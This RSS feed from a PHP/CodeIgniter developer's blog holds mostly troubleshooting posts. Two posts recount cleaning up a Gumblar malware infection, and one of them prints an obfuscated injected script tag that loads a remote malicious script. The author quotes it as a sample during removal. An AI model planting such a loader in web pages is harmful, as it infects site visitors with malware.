<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>envio land &#187; php</title>
	<atom:link href="http://a3-system.info/blog/category/php/feed/" rel="self" type="application/rss+xml" />
	<link>http://a3-system.info/blog</link>
	<description>Ash Like Snow</description>
	<lastBuildDate>Thu, 29 Dec 2011 01:55:21 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.1</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>File upload size , Codeigniter, Centos and PHP</title>
		<link>http://a3-system.info/blog/php/file-upload-size-codeigniter-centos-and-php/</link>
		<comments>http://a3-system.info/blog/php/file-upload-size-codeigniter-centos-and-php/#comments</comments>
		<pubDate>Mon, 30 May 2011 03:16:13 +0000</pubDate>
		<dc:creator>envio</dc:creator>
				<category><![CDATA[code igniter]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[Centos]]></category>
		<category><![CDATA[Codeigniter]]></category>
		<category><![CDATA[file_uploads]]></category>
		<category><![CDATA[php.ini]]></category>
		<category><![CDATA[POST Content-Length]]></category>
		<category><![CDATA[post_max_size]]></category>
		<category><![CDATA[upload]]></category>

		<guid isPermaLink="false">http://a3-system.info/blog/?p=326</guid>
		<description><![CDATA[Recently I want to increase my maximum file size, I develop my own Codeigniter application, I am using file upload class. Far as I know I just need increase &#8220;file_uploads&#8221; to desired value I want. 
I increase the &#8220;file_uploads&#8221; to 150MB. When I try upload 18MB file use my application it&#8217;s just show me a [...]]]></description>
			<content:encoded><![CDATA[<p>Recently I want to increase my maximum file size, I develop my own Codeigniter application, I am using file upload class. Far as I know I just need increase &#8220;file_uploads&#8221; to desired value I want. </p>
<p>I increase the &#8220;file_uploads&#8221; to 150MB. When I try upload 18MB file use my application it&#8217;s just show me a blank page without any error, then I look error log file and found something </p>
<p>POST Content-Length of 18248964 bytes exceeds the limit of 8388608 bytes in Unknown on line 0</p>
<p>I found that I also need increase the &#8216;post_max_size&#8217; to 150MB on php.ini. Yup my application work fine now, glad to see this <img src='http://a3-system.info/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://a3-system.info/blog/php/file-upload-size-codeigniter-centos-and-php/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>YET Another Gumblar</title>
		<link>http://a3-system.info/blog/php/yet-another-gumblar/</link>
		<comments>http://a3-system.info/blog/php/yet-another-gumblar/#comments</comments>
		<pubDate>Fri, 27 Aug 2010 14:47:48 +0000</pubDate>
		<dc:creator>envio</dc:creator>
				<category><![CDATA[life]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[web development]]></category>
		<category><![CDATA[Gumblar virus]]></category>
		<category><![CDATA[removal]]></category>

		<guid isPermaLink="false">http://a3-system.info/blog/?p=296</guid>
		<description><![CDATA[Today I have deal with my client to clean all chaos caused by Gumblar virus, It&#8217;s seem his root password was stolen and all web data infected with code. The virus code snippet is like this:
var D;if(D!='' &#38;&#38; D!='X'){D=''};var U=new Array();var p="";function u(){var aY=new Date();

The condition , all index file , index.html or index.php was [...]]]></description>
			<content:encoded><![CDATA[<p>Today I have deal with my client to clean all chaos caused by Gumblar virus, It&#8217;s seem his root password was stolen and all web data infected with code. The virus code snippet is like this:</p>
<pre name="code" class="js">var D;if(D!='' &amp;&amp; D!='X'){D=''};var U=new Array();var p="";function u(){var aY=new Date();
</pre>
<p>The condition , all index file , index.html or index.php was injected. The virus code injected on last line of file. After couple hour browse I didn&#8217;t find any solution to this problem and this make me confused, it will horrible if I have to remove the virus code one by one. </p>
<p>After two hour doing experiment finally I found the way how to remove the virus, just use bash script , using &#8220;grep&#8221; , &#8220;find&#8221; , &#8220;cut&#8221; , &#8220;grep&#8221; , &#8220;xargs&#8221; and &#8220;sed&#8221;. <img src='http://a3-system.info/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://a3-system.info/blog/php/yet-another-gumblar/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Send Email Using Codeigniter on Yahoo Small Business</title>
		<link>http://a3-system.info/blog/php/send-email-using-codeigniter-on-yahoo-small-business/</link>
		<comments>http://a3-system.info/blog/php/send-email-using-codeigniter-on-yahoo-small-business/#comments</comments>
		<pubDate>Sat, 31 Jul 2010 02:13:55 +0000</pubDate>
		<dc:creator>envio</dc:creator>
				<category><![CDATA[code igniter]]></category>
		<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://a3-system.info/blog/?p=280</guid>
		<description><![CDATA[I just successfully using Codeigniter email library to send an email on Yahoo small business,  It&#8217;s not to difficult to do that, here my step.

Login To your Yahoo small business, http://smallbusiness.yahoo.com/
Click &#8220;Access Your Account&#8221; on top bar, then &#8220;small business&#8221;
Click &#8220;Web Hosting Controll Panel&#8221;
Click &#8220;Create &#38; Update&#8221; tab
Click &#8220;Other Site Building Tools&#8221;
Click &#8220;PHP/Perl Mail&#8221;
On right [...]]]></description>
			<content:encoded><![CDATA[<p>I just successfully using Codeigniter email library to send an email on Yahoo small business,  It&#8217;s not to difficult to do that, here my step.</p>
<ol>
<li>Login To your Yahoo small business, http://smallbusiness.yahoo.com/</li>
<li>Click &#8220;Access Your Account&#8221; on top bar, then &#8220;small business&#8221;</li>
<li>Click &#8220;Web Hosting Controll Panel&#8221;</li>
<li>Click &#8220;Create &amp; Update&#8221; tab</li>
<li>Click &#8220;Other Site Building Tools&#8221;</li>
<li>Click &#8220;PHP/Perl Mail&#8221;</li>
<li>On right side, you must set email sender to use on &#8220;From&#8221; field, for example I use <strong>webmaster</strong></li>
<li>Click &#8220;Save Default&#8221; to set it</li>
</ol>
<p>Now at CodeIgniter controller we must use email address that have been already set on &#8216;from&#8217; field, for example I have already set &#8220;webmaster@mydomain.com&#8221; so here the code example:</p>
<pre name="code" class="php">
## send email to some one
$this-&gt;load-&gt;library('email');
$config['protocol']     = 'sendmail';
$config['mailpath']     = '/usr/sbin/sendmail -t';
$config['wordwrap']     = TRUE;
$config['useragent']    = 'CI Mailer';
$config['mailtype']     = 'text';
$config['newline']      = "\r\n";

## email contact
$this-&gt;email-&gt;initialize($config);
$this-&gt;email-&gt;from('webmaster@mydomain.com');
$this-&gt;email-&gt;to('recipient@domain.com');
$this-&gt;email-&gt;subject('Web Visitor");
$message  = "Test Email";

$this-&gt;email-&gt;message($message);
$this-&gt;email-&gt;send();
#echo $this-&gt;email-&gt;print_debugger();
</pre>
]]></content:encoded>
			<wfw:commentRss>http://a3-system.info/blog/php/send-email-using-codeigniter-on-yahoo-small-business/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>/*LGPL* virus again (Gumblar Family)</title>
		<link>http://a3-system.info/blog/php/lgpl-virus-again-gumblar-family/</link>
		<comments>http://a3-system.info/blog/php/lgpl-virus-again-gumblar-family/#comments</comments>
		<pubDate>Mon, 25 Jan 2010 00:34:41 +0000</pubDate>
		<dc:creator>envio</dc:creator>
				<category><![CDATA[life]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[Gumblar virus]]></category>

		<guid isPermaLink="false">http://a3-system.info/blog/?p=250</guid>
		<description><![CDATA[After last virus attack , some my FTP account was stolen, my terrible mistake, I forgot change some of FTP password and the second attack come again after I clean it with virus removal from justcoded.com.
The second attact, the Java script code injected is not same as first one, it have some code variant , [...]]]></description>
			<content:encoded><![CDATA[<p>After last virus attack , some my FTP account was stolen, my terrible mistake, I forgot change some of FTP password and the second attack come again after I clean it with virus removal from justcoded.com.</p>
<p>The second attact, the Java script code injected is not same as first one, it have some code variant , The code I was found on my PHP and Javascript code is :</p>
<pre class="javascript">
&lt;script&gt;/*Exception*/ document.write('&lt;script src='+'h!&amp;&amp;t^^t#p&amp;(#^:$&amp;^^/&amp;@)/&amp;@@i!!$m@)a^#@g$!e($$)f@^a@&amp;p$&amp;$(-#c!o@!&amp;m^.&amp;h!!!a)t!$!e#n$#a!.!!&amp;&amp;n@e@!).$^$#j^@#^p@^(@.&amp;!&amp;s(!l#i@&amp;d#!e)$s@#h&amp;^a!!r!^e^-@$#n!(@e((t$&amp;#(.)s(u^(p@^!e!)r!)@)t!@&amp;r##u($^e^)l$#)i&amp;!&amp;f&amp;@^e^^.!^r)u^!$:@8@(0#@#!8#$!)0!)!/&amp;^)l&amp;e#&amp;(q(@^u#)!i!)p@(!e&amp;&amp;&amp;^.#!(f#!r)$!/^)l)&amp;@@e)#q^$@u@!!i#^(p$(e!^&amp;.#!f!r$&amp;/@v((k^@.(@c$@&amp;$o^!@m($/&amp;$g&amp;(@)o)!o(@&amp;!g$)!l!$e$$.)!c@$))o#@$^&amp;m@&amp;&amp;^/!p(&amp;c&amp;&amp;&amp;p#!)o#@#p@(.&amp;c#@!o$m$$&amp;/&amp;#!('.replace(/\)|@|\!|#|&amp;|\^|\(|\$/ig, '')+' defer=defer&gt;&lt;/scr'+'ipt&gt;');&lt;/script&gt;
&lt;!--2a2a37017f4e478abaa5f3c16a9b2656--&gt;
</pre>
<p>So I need to modify the cure file for this code variation, and it work fine. Recently I browse on justcode.com and see the new version on cure file it has have ability to cure variant Java Script code that injected to web file. So just try to download it <a href="http://justcoded.com/article/gumblar-family-virus-removal-tool/" target="_blank">here</a></p>
]]></content:encoded>
			<wfw:commentRss>http://a3-system.info/blog/php/lgpl-virus-again-gumblar-family/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>CodeIgniter , HTTP Error 406 &amp; Mod_security</title>
		<link>http://a3-system.info/blog/php/codeigniter-http-error-406-mod_security/</link>
		<comments>http://a3-system.info/blog/php/codeigniter-http-error-406-mod_security/#comments</comments>
		<pubDate>Wed, 20 Jan 2010 14:26:25 +0000</pubDate>
		<dc:creator>envio</dc:creator>
				<category><![CDATA[apache]]></category>
		<category><![CDATA[code igniter]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[codeigniter mod_security 406 error]]></category>

		<guid isPermaLink="false">http://a3-system.info/blog/?p=246</guid>
		<description><![CDATA[This day I have to update a website based on Codeigniter, 1.54. When trying on the development environment, all running smoothly, but when transferred to the server some problems arise.
In part used  session function (I use the library session Codeigniter) , randomly  displays a HTTP 406 error.
When searching on google, I know that [...]]]></description>
			<content:encoded><![CDATA[<p>This day I have to update a website based on Codeigniter, 1.54. When trying on the development environment, all running smoothly, but when transferred to the server some problems arise.</p>
<p>In part used  session function (I use the library session Codeigniter) , randomly  displays a HTTP 406 error.</p>
<p>When searching on google, I know that the problem is probably caused by the Apache  mod_security. I tried de-active mod_security  function using  . htaccess files but it causes HTTP error 500.</p>
<p>When a page that uses session displays a HTTP 406 error, It can be fixed by delete computer cookies, but sometimes  it comes back HTTP error 406 at random.</p>
<p>Another problem, the session produced by the library Codeigniter likely trigger mod_security apache and the mod_security considers it as a threat so mod_security block access from my  IP (I have many times to reset my modem to get a new IP)</p>
<p>My solution :  I change my session from the Codeigniter library  into Native PHP session. The solution worked perfectly, I don&#8217;t have anymore HTTP error 406 and blocked by mod_security.</p>
]]></content:encoded>
			<wfw:commentRss>http://a3-system.info/blog/php/codeigniter-http-error-406-mod_security/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>jQuery validate, little bug on error display</title>
		<link>http://a3-system.info/blog/php/jquery-validate-little-bug-on-error-display/</link>
		<comments>http://a3-system.info/blog/php/jquery-validate-little-bug-on-error-display/#comments</comments>
		<pubDate>Wed, 06 Jan 2010 02:03:58 +0000</pubDate>
		<dc:creator>envio</dc:creator>
				<category><![CDATA[php]]></category>
		<category><![CDATA[jQuery validate bug]]></category>

		<guid isPermaLink="false">http://a3-system.info/blog/?p=238</guid>
		<description><![CDATA[I use jQuery to validate my registration form, to day when I am test for finishing, I found some little bug (CMIIW). The case is like this :
For a username, I check the username on database if it exist or not. For example in my database I already have two username let say &#8216;admin1&#8242; and [...]]]></description>
			<content:encoded><![CDATA[<p>I use jQuery to validate my registration form, to day when I am test for finishing, I found some little bug (CMIIW). The case is like this :</p>
<p>For a username, I check the username on database if it exist or not. For example in my database I already have two username let say &#8216;admin1&#8242; and &#8216;admin2&#8242;.</p>
<p>I did the code like example provided, let say we register with username &#8216;admin1&#8242; or &#8216;admin2&#8242; it will show an error that say the username already exist. Here the code :</p>
<pre class="javascript">reg_username: {
required: "Enter a username",
minlength: jQuery.format("Enter at least {0} characters"),
remote: jQuery.format("{0} is already in use")
},</pre>
<p>The &#8220;{0}&#8221; will display the username we input,  so when I type &#8216;admin1&#8242; as my username it will display an error &#8220;admin1 is already in use&#8221;. Then when I type &#8216;admin2&#8242; as my username it shuld be show an error &#8220;admin2 is already in use&#8221; but in fact, when I use &#8216;admin2&#8242; as my username, it will display error &#8216;<strong>admin1</strong> is already in use&#8217;. Kind a strange, didn&#8217;t solve it yet <img src='http://a3-system.info/blog/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> </p>
<p><strong>Note</strong></p>
<p>Just Updated to latest version 1.6 and it still get some bug but in different mode, seem I will eliminate {0} from the error code because it source of problem <img src='http://a3-system.info/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> )</p>
]]></content:encoded>
			<wfw:commentRss>http://a3-system.info/blog/php/jquery-validate-little-bug-on-error-display/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>CodeIgniter Session Problem on Internet Explorer (IE)</title>
		<link>http://a3-system.info/blog/php/codeigniter-session-problem-on-internet-explorer-ie/</link>
		<comments>http://a3-system.info/blog/php/codeigniter-session-problem-on-internet-explorer-ie/#comments</comments>
		<pubDate>Sun, 18 Oct 2009 13:02:59 +0000</pubDate>
		<dc:creator>envio</dc:creator>
				<category><![CDATA[code igniter]]></category>
		<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://a3-system.info/blog/?p=219</guid>
		<description><![CDATA[Yesterday I got report from my client website, he tell me that he can not login on their administrator panel, then I ask what browser that he use, he said Internet Explorer. After couple hour I did some test, I use IE to access administrator panel, then the web panel say I am not login, [...]]]></description>
			<content:encoded><![CDATA[<p>Yesterday I got report from my client website, he tell me that he can not login on their administrator panel, then I ask what browser that he use, he said Internet Explorer. After couple hour I did some test, I use IE to access administrator panel, then the web panel say I am not login, just like redirected to some page that If I am not login yet I will redirected in to it.</p>
<p>After googling , I found information that say there a problem with server clock, since I got server access ( thanks to someone that allow me in <img src='http://a3-system.info/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  ) I adjust server clock same as my computer clock. Surprise  &#8230;.. I test from IE everything work fine just like there nothing happen.</p>
<p>Then I run a little test, my session expire setting is 7200 (2 hour), I change my computer clock 1 hour faster, I test the administrator panel again and everything work fine.</p>
<p>Then I adjust my computer clock 3 hour faster (more that session expire setting) then my administrator panel fail to work again &#8230;. just wondering how could be like this <img src='http://a3-system.info/blog/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' /> </p>
<p>For now I move my application to native PHP Session &#8230;. lot work to do</p>
]]></content:encoded>
			<wfw:commentRss>http://a3-system.info/blog/php/codeigniter-session-problem-on-internet-explorer-ie/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Date Validation Method in PHP</title>
		<link>http://a3-system.info/blog/php/date-validation-method-in-php/</link>
		<comments>http://a3-system.info/blog/php/date-validation-method-in-php/#comments</comments>
		<pubDate>Tue, 25 Aug 2009 01:55:48 +0000</pubDate>
		<dc:creator>envio</dc:creator>
				<category><![CDATA[code igniter]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[date validation PHP]]></category>
		<category><![CDATA[methode]]></category>
		<category><![CDATA[step]]></category>

		<guid isPermaLink="false">http://a3-system.info/blog/?p=192</guid>
		<description><![CDATA[Just realize that the date validation is little tricky, yesterday I just make my new date validation method. Include couple step :

Validate the date input according to our rule, for example because I use this date picker ( come from http://www.kelvinluck.com/assets/jquery/datePicker/v2/demo/index.html ), the date format default will be, dd/mm/yy. So we must ensure the date [...]]]></description>
			<content:encoded><![CDATA[<p>Just realize that the date validation is little tricky, yesterday I just make my new date validation method. Include couple step :<br />
<span id="more-192"></span><br />
Validate the date input according to our rule, for example because I use this date picker ( come from <a href="http://www.kelvinluck.com/assets/jquery/datePicker/v2/demo/index.html">http://www.kelvinluck.com/assets/jquery/datePicker/v2/demo/index.html</a> ), the date format default will be, dd/mm/yy. So we must ensure the date input format is correct. So I will use regular expression here :</p>
<pre name="code" class="php">
$patt = '/^(0?[1-9]|[12][0-9]|3[01])[\/](0?[1-9]|1[0-2])[\/](19|20)\d{2}$/';</pre>
<p>After sure the date input is valid according our rule, we must also validate the input date according the calendar, for example, if the user input 31/2/2009 it will be valid in that regular expression check, but of course there no February 31 :p</p>
<pre name="code" class="php">
$inputdate = explode("/",$_POST['inputdate']);
if ( ! checkdate($inputdate[1],$inputdate[0],$inputdate[2]) )
{
 echo 'Invalid Date';
}</pre>
<p>So here my  complete example code snippet :</p>
<pre name="code" class="php">
## date input pattern validation
$patt = '/^(0?[1-9]|[12][0-9]|3[01])[\/](0?[1-9]|1[0-2])[\/](19|20)\d{2}$/';
if (! preg_match($patt,$_POST['inputdate']))
{
echo 'Invalid Date Format, mm/dd/yy';
die();
}
else
{
echo 'A Valid Date Format';
}

## calendar validation
$inputdate = explode("/",$_POST['inputdate']);
if ( ! checkdate($inputdate[1],$inputdate[0],$inputdate[2]) )
{
echo 'Invalid Date according Calendar';
die();
}
else
{
echo 'A Valid Date according Calendar';
}</pre>
]]></content:encoded>
			<wfw:commentRss>http://a3-system.info/blog/php/date-validation-method-in-php/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>CodeIngiter Multilingual Coding Notice</title>
		<link>http://a3-system.info/blog/php/codeingiter-multilingual-coding-notice/</link>
		<comments>http://a3-system.info/blog/php/codeingiter-multilingual-coding-notice/#comments</comments>
		<pubDate>Sat, 15 Aug 2009 09:12:52 +0000</pubDate>
		<dc:creator>envio</dc:creator>
				<category><![CDATA[code igniter]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[codeiginter]]></category>
		<category><![CDATA[Codeigniter]]></category>
		<category><![CDATA[france character]]></category>
		<category><![CDATA[language library]]></category>
		<category><![CDATA[multi lingual]]></category>

		<guid isPermaLink="false">http://a3-system.info/blog/?p=187</guid>
		<description><![CDATA[When you doing a multi lingual code some time you will find with unusual character, for example when you doing code in France Language, you will found some character like   é
In code igniter, when you use &#8220;Language Class&#8221; you will create a &#8220;Language file&#8221; in your language directory application path. The important part [...]]]></description>
			<content:encoded><![CDATA[<p>When you doing a multi lingual code some time you will find with unusual character, for example when you doing code in France Language, you will found some character like   <strong>é</strong></p>
<p>In code igniter, when you use &#8220;Language Class&#8221; you will create a &#8220;Language file&#8221; in your language directory application path. The important part is, when you make the &#8220;language file&#8221; make sure you use right decode method. By default many text editor use ANSI decoding for file format. It must be change to UTF-8 to make sure when you use your language file, it will display right character.</p>
<p>For example, I use Notepad++ editor, I can change the file format into UTF-8 from Toolbar choose  &#8220;Format&#8221; -&gt; &#8220;Convert to UTF-8 without BOM&#8221;.</p>
<p>Code Example :</p>
<p><strong>$lang['messege_fail_head']        = &#8220;Désolé, il ya une erreur&#8221;;</strong></p>
<p>With out correct file encoding, when you &#8220;<strong>echo $this-&gt;lang-&gt;line(&#8216;messege_fail_head&#8217;)</strong>&#8221;</p>
<p>It will display :</p>
<p><strong>D?sol?, il ya une erreur</strong></p>
<p>With correct file encoding (UTF-8)</p>
<p><strong>Désolé, il ya une erreur</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://a3-system.info/blog/php/codeingiter-multilingual-coding-notice/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Codeigniter Upload Problem</title>
		<link>http://a3-system.info/blog/php/codeigniter-upload-problem/</link>
		<comments>http://a3-system.info/blog/php/codeigniter-upload-problem/#comments</comments>
		<pubDate>Sun, 19 Jul 2009 05:40:08 +0000</pubDate>
		<dc:creator>envio</dc:creator>
				<category><![CDATA[code igniter]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[CI code ignoter upload problem]]></category>

		<guid isPermaLink="false">http://a3-system.info/blog/?p=176</guid>
		<description><![CDATA[CI provide us a class to simplify our file uploading routine. We can easily make a file uploading process in just a few simple step, no head spin needed. But we must know how the Uploading class work, so we can solve some problem may occurred.

A very common mistake is on &#8216;file type&#8217; setting. In [...]]]></description>
			<content:encoded><![CDATA[<p>CI provide us a class to simplify our file uploading routine. We can easily make a file uploading process in just a few simple step, no head spin needed. But we must know how the Uploading class work, so we can solve some problem may occurred.<br />
<span id="more-176"></span><br />
A very common mistake is on &#8216;file type&#8217; setting. In file uploading process, off course  we need limit kind of file that allowed to upload and this will be common mistake.</p>
<p>The CI Upload class use their own &#8216;mime&#8217; data to determinate the file mime type, I think why they use own mime rather than using mime function on PHP or Apache is to avoid dependency. Some server may not include mime extension in their setting so it will be problem if we can not use mime function to determinate the file mime.</p>
<p>The CI mime file located in system/application/config/mimes.php , when we do upload some file using upload class, the file that uploaded will generate the information about the file like file name, file type, size and temporary file name. <em>This information generated by the browser</em>. Here some information example of an &#8216;exe&#8217; file uploaded using Internet Explorer browser.</p>
<p>Array<br />
(<br />
[userfile] =&gt; Array<br />
(<br />
[name] =&gt; putty.exe<br />
[type] =&gt; application/x-msdownload<br />
[tmp_name] =&gt; d:/wamp/tmp\phpCF.tmp<br />
[error] =&gt; 0<br />
[size] =&gt; 454656<br />
)</p>
<p>)</p>
<p>The Uploading class use &#8216;type&#8217; information as mime types. That information will compared with data from system/application/config/mimes.php to determinate if the file allowed to upload. If the data from &#8216;type&#8217; included on mimes.php data it mark as &#8216;allowed file&#8217;. From mimes.php, an &#8221;exe&#8221; file mime type is :</p>
<p>&#8216;exe&#8217;    =&gt;    &#8216;application/octet-stream&#8217;,</p>
<p>And from &#8216;type&#8217; information the &#8216;exe&#8217; file mime type is :</p>
<p>application/x-msdownload</p>
<p>Now we can see the problem here, the file information is generated by the browser and the browser may generate different kind of file type, Here the example for an &#8220;exe&#8221; file :</p>
<p>Internet Explorer : application/octet-stream (we have no problem if we use IE for upload)<br />
Firefox : application/x-msdos-program (we got problem here)<br />
Safari : application/x-msdownload (we also got problem here)<br />
Opera : application/x-msdownload (we also got problem here)</p>
<p>So, we must check the allowed file type and the mime type in mimes.php in common browser : Safari, IE , Firefox and  Opera is quite enough. For debugging, put this code on line 195 of Uploading Class, you will got information about file you been uploaded like in above example.</p>
<p>echo &#8216;</p>
<pre>';
print_r($_FILES[$field]['type']);
echo '</pre>
<p>&#8216;;<br />
die();<br />
?&gt;</p>
]]></content:encoded>
			<wfw:commentRss>http://a3-system.info/blog/php/codeigniter-upload-problem/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

